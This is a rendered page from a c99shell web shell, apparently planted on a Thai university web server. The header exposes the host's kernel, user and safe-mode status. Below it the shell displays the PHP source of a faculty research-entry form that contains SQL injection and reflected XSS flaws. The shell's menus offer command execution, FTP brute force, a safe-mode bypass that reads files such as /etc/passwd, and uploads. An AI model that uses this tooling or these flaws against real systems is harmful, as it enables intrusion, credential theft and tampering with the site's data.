!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 51.93 GB of 127.8 GB (40.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddResearch1.php (25.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>ЎГШіТ·УЎТГ Login ЎиН№</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "research_tb";
        
        
$myTable2PK "Research_code";
        
        
/**  Table  -->  personal_tb  */
        
$query0 " SELECT *  FROM $myTable1  WHERE Username='$Username' ";
        
$result0 $dbObj->execQuery($query0);
        
$rss $dbObj->fetchArray($result0);
            
$Teacher_code $rss['Teacher_code'];
        
        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
        
        
/**  ЁУ№З№ўйНБЩЕ µиН 1 Л№йТ  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage 10; }
        
        
/**  Botton Name Action */
        
$action $_REQUEST['action'];
        
$id $_REQUEST['id'];
    
        if( isset(
$action) && !empty($action) ) {
            switch(
$action) {
                case 
"Delete" :
                    
$num count($id);
                    for( 
$i=0$i<$num$i++ ) {
                        
//--- research_tb
                        
$qryDel " DELETE FROM  $myTable2  WHERE $myTable2PK='$id[$i]' ";
                        
$resultDel $dbObj->runQuery($qryDel);
                        
$dbObj->freeresult($resultDel);
                    }
                break;
            } 
# switch
        
# if
        
    
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>ўйНБЩЕ·СиЗд»єШ¤ЕТЎГ  - ўйНБЩЕ§Т№ЗФЁСВ - јЕ§Т№ЎТГЗФЁСВ</title>
</head>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="JavaScript" type="text/JavaScript"></script>
<script language="javascript">
function checkData() {
var formObj = document.myForm;
    if( (formObj.Research_name.value == "" ) && (formObj.mYear.value == "" ) && (formObj.mYear2.value == "" ) && (formObj.Research_char.value == "" ) && (formObj.Fund.value == "" ) ) { alert("ЎГШіТЎГНЎўйНБЩЕгЛй¤ГєґйЗВ¤иР" ); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus();    return false; }
    else if(formObj.Research_name.value == "" ) { alert("ЎГШіТЎГНЎ ЄЧиНјЕ§Т№ЗФЁСВ"); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus(); return false;} 
    else if(formObj.mYear.value == "" ) { alert("ЎГШіТЎГНЎ »Х·ХиаГФиБ"); formObj.mYear.style.backgroundColor='#F1F9FC'; formObj.mYear.focus(); return false;} 
    else if(formObj.mYear2.value == "" ) { alert("ЎГШіТЎГНЎ »Х·ХибЕйЗаКГзЁ"); formObj.mYear2.style.backgroundColor='#F1F9FC'; formObj.mYear2.focus(); return false;} 
    else if(formObj.Fund.value == "" ) { alert("ЎГШіТЎГНЎ ЁУ№З№а§Ф№·Ш№"); formObj.Fund.style.backgroundColor='#F1F9FC'; formObj.Fund.focus(); return false;} 
    else if(formObj.Research_char.value == "" ) { alert("ЎГШіТЎГНЎ »ГРаА·§Т№ЗФЁСВ"); formObj.Research_char.style.backgroundColor='#F1F9FC'; formObj.Research_char.focus(); return false;} 
    else return true;
}
</script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    myform.Filetex.src = myform.Filetex.value;
}
</script>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form action="InsertResearch.php" method="post" enctype="multipart/form-data" name="myForm" id="myForm" onsubmit="return checkData();">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">Л№йТЛЕСЎ</a></strong> <strong>&raquo; <a href="Menu_Teach.php?Teacher_code=<?=$Teacher_code;?>">ўйНБЩЕ·СиЗд»єШ¤ЕТЎГ</a> &raquo; <a href="ResearchByYear.php?Teacher_code=<?=$Teacher_code;?>">ўйНБЩЕ§Т№ЗФЁСВ</a> &raquo; <a href="ResearchList.php?Teacher_code=<?=$Teacher_code;?>&amp;Year_prop=<?=$Year_prop;?>">јЕ§Т№ЎТГЗФЁСВ</a> &raquo; <span class="NOTE">аѕФиБ»ГРЗСµФјЕ§Т№ЗФЁСВ</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><table width="760" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
          <tr bgcolor="#FFCC99">
            <td height="25" colspan="3" align="center" bgcolor="#F8F8F8"><span class="PATRON11">аѕФиБ»ГРЗСµФјЕ§Т№ЗФЁСВ</span></td>
          </tr>
          <tr>
            <td width="15%" height="26" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиННТЁТГВм</td>
            <td width="1%" bgcolor="#FFFFFF">&nbsp;</td>
            <td width="84%" align="left" bgcolor="#FFFFFF"><span class="TEXT-HEADER11-BLUE"><?php echo $rss['First_name'];?> <? echo $rss['Teacher_name'];?> <?php echo $rss['Teacher_lastname'] ;?></span></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><span class="TEXT-RED10">*</span> ЄЧиНјЕ§Т№ЗФЁСВ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input name="Research_name" type="text" value="<?=$_GET['Research_name'];?>" size="80" maxlength="255" /></td>
          </tr>
          <tr>
            <td height="26" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">КТўТЗФЄТ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input name="Branch" type="text" id="Branch" value="<?=$_GET['Branch'];?>" size="70" maxlength="255" /></td>
          </tr>
          <tr>
            <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЕСЎЙіРўН§§Т№ЗФЁСВ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input name="Research_type" type="radio" value="§Т№ЗФЁСВ"  checked="checked" />
              §Т№ЗФЁСВ
              <input type="radio" name="Research_type" value="§Т№КГйТ§КГГ¤м№ЗСµЎГГБ" />
              §Т№КГйТ§КГГ¤м№ЗСµЎГГБ</td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">»ГРаА·§Т№ЗФЁСВ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input type="radio" name="Research_char" value="¤ЕХ№Ф¤" <?php if( $_GET['Research_char'] == "¤ЕХ№Ф¤" ) echo 'checked'?> />
              ¤ЕХ№Ф¤
              <input type="radio" name="Research_char" value="ЎТГаГХВ№ЎТГКН№" <?php if( $_GET['Research_char'] == "ЎТГаГХВ№ЎТГКН№" ) echo 'checked'?> />
              ЎТГаГХВ№ЎТГКН№
              <input type="radio" name="Research_char" value="ЎТГКи§аКГФБКШўАТѕ"<?php if( $_GET['Research_char'] == "ЎТГКи§аКГФБКШўАТѕ" ) echo 'checked'?>  />
              ЎТГКи§аКГФБКШўАТѕ
              <input type="radio" name="Research_char" value="НЧи№П" <?php if( $_GET['Research_char'] == "НЧи№П" ) echo 'checked'?> />
              НЧи№П ГРєШ
              <input name="Research_char_else" type="text" id="Research_char_else" value="<?=$_GET['Research_char_else'];?>" size="20" /></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">µУбЛ№и§ЎТГЗФЁСВ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input type="radio" name="R_position" value="ЛСЗЛ№йТЗФЁСВ" checked="checked" />
              ЛСЗЛ№йТЗФЁСВ
              <input type="radio" name="R_position" value="јЩйГиЗБЗФЁСВ" />
              јЩйГиЗБЗФЁСВ</td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиНјЩйГиЗБЗФЁСВ·Хи 1</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="name1" id="name1">
                <option value=""></option>
                <?php
                            $sql1 
" SELECT *  FROM personal_tb  ORDER BY  First_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) ) {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                       
?>
            </select></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиНјЩйГиЗБЗФЁСВ·Хи 2</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="name2" id="name2">
                <option value=""></option>
                <?php
                            $sql1 
" SELECT *  FROM personal_tb  ORDER BY  First_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) )
                            {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                           
?>
            </select></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиНјЩйГиЗБЗФЁСВ·Хи 3</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="name3" id="name3">
                <option value=""></option>
                <?php
                            $sql1 
" SELECT *  FROM personal_tb  ORDER BY  First_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) )
                            {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                            
?>
            </select></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиНјЩйГиЗБЗФЁСВ·Хи 4</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="name4" id="name4">
                <option value=""></option>
                <?php
                            $sql1 
" SELECT * FROM personal_tb  ORDER BY  First_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) )
                            {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                            
?>
            </select></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиНјЩйГиЗБЗФЁСВ·Хи 5</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="name5" id="name5">
                <option value=""></option>
                <?php
                            $sql1 
" SELECT *  FROM personal_tb  ORDER BY  First_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) )
                            {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                            
?>
            </select></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиНјЩйГиЗБЗФЁСВ·Хи 6</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="name6" id="name6">
                <option value=""></option>
                <?php
                            $sql1 
" SELECT *  FROM personal_tb  ORDER BY  First_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) )
                            {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                            
?>
            </select></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиНјЩйГиЗБЗФЁСВ·Хи 7</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="name7" id="name7">
                <option value=""></option>
                <?php
                            $sql1 
" SELECT * FROM personal_tb  ORDER BY  First_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) )
                            {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                            
?>
            </select></td>
          </tr>
          <tr>
            <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЄЧиНјЩйГиЗБЗФЁСВ·Хи 8</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="name8" id="name8">
                <option value=""></option>
                <?php
                            $sql1 
" SELECT * FROM personal_tb  ORDER BY  First_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) )
                            {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                       
?>
            </select></td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">є·¤СґВиН</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><textarea name="abbStract" cols="60" rows="4" id="abbStract"><?=$_GET['abbStract'];?>
        </textarea>
                <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
                <script src='../editor/quickB.js'></script>
                <script src='../editor/tabedit.js'></script>            </td>
          </tr>
          <tr>
            <td height="24" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><span class="TEXT-RED10">*</span> ЗС№/аґЧН№/»Х·ХиаГФиБ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="mDate" id="mDate" class="select">
              <? getDay1to31();?>
                        </select>
-
<select name="mMonth" id="select3" class="select">
  <? getThaiMonth();?>
</select>
-
<input name="mYear" type="text" class="style15" id="mYear" size="3" maxlength="4" /></td>
          </tr>
          <tr>
            <td height="24" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><span class="TEXT-RED10">*</span> ЗС№/аґЧН№/»Х ·ХибЕйЗаКГзЁ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
              <select name="mDate2" id="mDate2" class="select">
                <? getDay1to31();?>
                            </select>
-
<select name="mMonth2" id="select4" >
  <? getThaiMonth();?>
</select>
-
<input name="mYear2" type="text" class="style15" id="mYear2" size="3" maxlength="4" />
            </font></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><span class="TEXT-RED10">*</span> ЁУ№З№а§Ф№·Ш№</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input name="FundUse1" id="FundUse1" type="text" size="10" style="text-align:right; padding-right:5px" value="<?=$_GET['FundUse'];?>" onkeypress="checkNumeric()" disabled="disabled" />
              єТ·</td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">бЛЕи§а§Ф№·Ш№</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr>
                  <td width="16%" align="left"><input name="Fund_resourceIn" type="checkbox" id="Fund_resourceIn" value="АТВг№" <?php if( $_GET['Fund_resourceIn'] == "АТВг№" ) echo 'checked'?> onclick="checkAssign1(this,myForm.FundIn)" />
                    АТВг№</td>
                  <td width="84%" align="left">ЁУ№З№а§Ф№
                    <input name="FundIn" type="text" class="input" id="FundIn" value="<?=$_GET['FundIn'];?>" size="10" style="text-align:right; padding-right:5px" onkeypress="checkNumeric()" disabled="disabled" />
                    єТ·</td>
                </tr>
                <tr>
                  <td align="left"><input name="Fund_resourceOut" type="checkbox" id="Fund_resourceOut" value="АТВ№НЎ" <?php if( $_GET['Fund_resourceOut'] == "АТВ№НЎ" ) echo 'checked'?> onclick="checkAssign1(this,myForm.FundOut)" />
                    АТВ№НЎ</td>
                  <td align="left">ЁУ№З№а§Ф№
                    <input name="FundOut" type="text" class="input" id="FundOut" size="10" value="<?=$_GET['FundOut'];?>" style="text-align:right; padding-right:5px" onkeypress="checkNumeric()" disabled="disabled" />
                    єТ·</td>
                </tr>
                <tr>
                  <td colspan="2" align="left"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td width="6%">ГРєШ</td>
                        <td width="94%"><textarea name="Resource_des" cols="40" id="Resource_des"><?=$_GET['Resource_des'];?>
        </textarea></td>
                      </tr>
                  </table></td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td height="20" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЎТГајВбѕГи</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF" style="padding-left:3px"><input type="radio" name="Propagate" id="Propagate" value="ајВбѕГи" <?php if( $_GET['Propagate'] == "ајВбѕГи" ) echo 'checked'?> />
              ајВбѕГи
              <input type="radio" name="Propagate" id="Propagate" value="ВС§дБиајВбѕГи" <?php if( $_GET['Propagate'] == "ВС§дБиајВбѕГи" ) echo 'checked'?> />
              ВС§дБиајВбѕГи  &nbsp; 
              ГРєШ
              <input name="Propagate_des" type="text" id="Propagate_des" size="30" value="<?=$_GET['Propagate_des'];?>" /></td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЕСЎЙіРЎТГајВбѕГи</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr>
                  <td width="25%"><input type="radio" name="Prop_type" value="№УаК№НаЗ·ХЗФЄТЎТГ" <?php if( $_GET['Prop_type'] == "№УаК№НаЗ·ХЗФЄТЎТГ" ) echo 'checked'?> />
                    №УаК№НаЗ·ХЗФЄТЎТГ</td>
                  <td width="75%">ГРєШ
                    <input name="Prop_type1" type="text" id="Prop_type1" size="30" value="<?=$_GET['Prop_type1'];?>" /></td>
                </tr>
                <tr>
                  <td><input type="radio" name="Prop_type" value="µХѕФБѕмЕ§ЗТГКТГ" <?php if( $_GET['Prop_type'] == "µХѕФБѕмЕ§ЗТГКТГ" ) echo 'checked'?> />
                    µХѕФБѕмЕ§ЗТГКТГ</td>
                  <td>ГРєШ
                    <input name="Prop_type2" type="text" id="Prop_type2" size="30" value="<?=$_GET['Prop_type2'];?>" /></td>
                </tr>
                <tr>
                  <td><input type="radio" name="Prop_type" value="в»КаµНГм" <?php if( $_GET['Prop_type'] == "в»КаµНГм" ) echo 'checked'?> />
                    в»КаµНГм</td>
                  <td>ГРєШ
                    <input name="Prop_type3" type="text" id="Prop_type3" size="30" value="<?=$_GET['Prop_type3'];?>" /></td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ЎТГ№Уд»гЄй</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr>
                  <td><input name="Apply1" type="checkbox" id="Apply1" value="ЎТГѕСІ№Т»ГРа·И" <?php if( $_GET['Apply1'] == "ЎТГѕСІ№Т»ГРа·И" ) echo 'checked'?> />
                    ЎТГѕСІ№Т»ГРа·И</td>
                </tr>
                <tr>
                  <td><input name="Apply2" type="checkbox" id="Apply2" value="ЎТГаГХВ№ЎТГКН№" <?php if( $_GET['Apply2'] == "ЎТГаГХВ№ЎТГКН№" ) echo 'checked'?> />
                    ЎТГаГХВ№ЎТГКН№</td>
                </tr>
                <tr>
                  <td><input name="Apply3" type="checkbox" id="Apply3" value="ГРєєКШўАТѕ" <?php if( $_GET['Apply3'] == "ГРєєКШўАТѕ" ) echo 'checked'?> />
                    ГРєєКШўАТѕ</td>
                </tr>
                <tr>
                  <td><input name="Apply4" type="checkbox" id="Apply4" value="§Т№ЗФЁСВНЧи№" <?php if( $_GET['Apply4'] == "§Т№ЗФЁСВНЧи№" ) echo 'checked'?> />
                    §Т№ЗФЁСВНЧи№ &nbsp; 
                    ГРєШ
                    <input name="Apply_des" type="text" id="Apply_des" size="50" onclick="document.getElementById('Apply4').checked=true;" value="<?=$_GET['Apply_des'];?>" /></td>
                </tr>
            </table></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">КФ·ёФєСµГ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input name="Research_st" type="checkbox" id="Research_st" value="ЁґКФ·ёФєСµГ" <?php if( $_GET['Research_st'] == "ЁґКФ·ёФєСµГ" ) echo 'checked'?> />
              ЁґКФ·ёФєСµГ</td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><span class="TEXT-RED10">*</span> »Х·ХиајВбѕГи</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><select name="mDate3" id="mDate3" class="select">
              <? getDay1to31();?>
                        </select>
-
<select name="mMonth3" id="select2" class="select">
  <? getThaiMonth();?>
</select>
-
<input name="mYear3" type="text" class="style15" id="mYear3" size="3" maxlength="4" /></td>
          </tr>
          <tr >
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
          </tr>
          <tr >
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">НСѕвЛЕґдїЕмаНЎКТГ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input name="Filetex" type="file" id="Filetex" size="30" /></td>
          </tr>
          <tr >
            <td height="25" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" bgcolor="#FFFFFF">&nbsp;</td>
          </tr>
          <tr >
            <td height="25" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" bgcolor="#FFFFFF"><input type="hidden" name="Teacher_code" value="<?php echo $rss['Research_code']; ?>" />
                <input type="hidden" name="Teacher_code" value="<?php echo $rss['Teacher_code']; ?>" />
                <input type="hidden" name="r_type" value="1" id="r_type" />
                <input type="submit" name="Submit" value="аѕФиБ" class="WIDTH60 CURSOR-HAND" />
              &nbsp;
              <input name="Reset" type="reset" class="WIDTH60 CURSOR-HAND" id="Reset" value="ГХа«зµ" />
              &nbsp;&nbsp;
              <input name="Button" type="button" id="Reset" value="ВЎаЕФЎ" class="CURSOR-HAND WIDTH60" onclick="location.href='ResearchByYear.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
          </tr>
          <tr >
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result0);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0138 ]--